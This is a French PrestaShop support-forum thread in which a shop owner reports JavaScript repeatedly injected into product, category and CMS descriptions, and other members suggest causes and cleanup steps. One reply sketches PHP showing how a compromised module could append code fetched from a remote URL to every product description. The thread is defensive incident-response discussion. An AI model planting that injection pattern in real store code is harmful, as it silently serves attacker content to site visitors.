Hack sur les fiches produits et catégories

[OSFormation]

Bonjour,

Un code javascript a été ajouté dans le descriptif des fiches produits, catégories et les pages cms aussi (voir pièce jointe). Ce qui au passage rend l'édition d'une fiche impossible. La version de Prestashop est 1.7.5.0.

Nous avons appliqué le patch de Eolia, mis à jour tous les modules, retiré le code javascript de la base de donnée, changé tous les accès admin et même serveur. De plus, l'outils "Informations" de Prestashop indique : "Aucun changement n'a été détecté sur vos fichiers."

Cependant, quelques jours après, nous constatons que le code a de nouveau été injecté. 

Avant de faire une mise à jour de Prestashop et du thème (solution que nous voulons faire un dernier recours et en étant certain que ça va supprimer le problème), y a t-il des cas de hack identiques et résolus ?

Cordialement

 

 

Edited August 4 by OSFormation (see edit history)

[Alexandre Carette]

Salut, il faudrait que tu regardes les permissions sur les dossier et fichiers, afin d'éviter l'écriture sur ces derniers. Ensuite il faudrait faire une recherche sur tout les fichiers pour trouver les codes injectés, avec un grep directement via le serveur. Il y a certainement une faille de securité dans des modules ou des backdoors restant. 

[Eolia]

1er point, vérifier que votre base SQL n'est pas accessible de l'extérieur.

Vous n'auriez pas le module pkfacebook ? une faille majeure a été découverte dans celui-ci

Egalement dans ces 2 là:

Pour info ça sent pas bon ces derniers temps pour les nouvelles versions Prestashop...

 

https://x.com/search?q=prestashop CVE&src=typed_query&f=top

 

[Mediacom87]

Bonjour,

vous avez corrigé le piratage, mais pas l'origine de celui-ci, il faut donc identifier l'origine et patcher la faille.

https://www.mediacom87.fr/securite-prestashop-proactive-ou-corrective/

[Eolia]

Il va être un chouïa plus compliqué celui-là car c'est une injection en base de données. Code inoffensif qui a pu être ajouté dans n'importe quel module présent sur la page avec par exemple :

foreach(Languages::getlanguages() as $lang) {
	$product->description[$lang['id_lang']] = $product->description[$lang['id_lang']].file_get_content('url contenant le code moisi');
}
$product->save

Donc il faudrait voir ce que vous raconte Cleaner concernant les modules.

[Eolia]

Et le piratage n'est pas corrigé, il revient à chaque visite de page.

 

Edited August 4 by Eolia (see edit history)

[OSFormation]

On 8/3/2024 at 11:06 AM, Eolia said:

1er point, vérifier que votre base SQL n'est pas accessible de l'extérieur.

Vous n'auriez pas le module pkfacebook ? une faille majeure a été découverte dans celui-ci

Egalement dans ces 2 là:

Pour info ça sent pas bon ces derniers temps pour les nouvelles versions Prestashop...

 

https://x.com/search?q=prestashop CVE&src=typed_query&f=top

 

Bonjour,

Aucun de ces modules est installé ou présent sur le site.

Je viens de relancer Cleaner : je remarque sur tous les fichiers du dossier module sont en 777 au lieu de 755. Notez que je n'avais pas cette notice lors du premier scan.

Mise à part cela, Cleaner me donne un paquet de notices orange sur le scan des modules et une notice rouge que voici : "Fonction sensible à contrôler: eval( => /modules/mondialrelay/classes/lib/class.soapclient.php".

D'ailleurs j'ai des suspicions sur le module Mondial Relay...

Je vais m'assurer que tous les modules sont bien à jour car certaines notices de mises à jour ne sont pas visibles via le BO, je viens de le remarquer. Ensuite je vais comparer tous les dossiers du site avec les dossiers originaux pour vérifier si des fichiers ont été modifiés ou ajoutés.

 

Edited August 4 by OSFormation (see edit history)

[OSFormation]

22 hours ago, Mediacom87 said:

Bonjour,

vous avez corrigé le piratage, mais pas l'origine de celui-ci, il faut donc identifier l'origine et patcher la faille.

https://www.mediacom87.fr/securite-prestashop-proactive-ou-corrective/

Merci pour l'article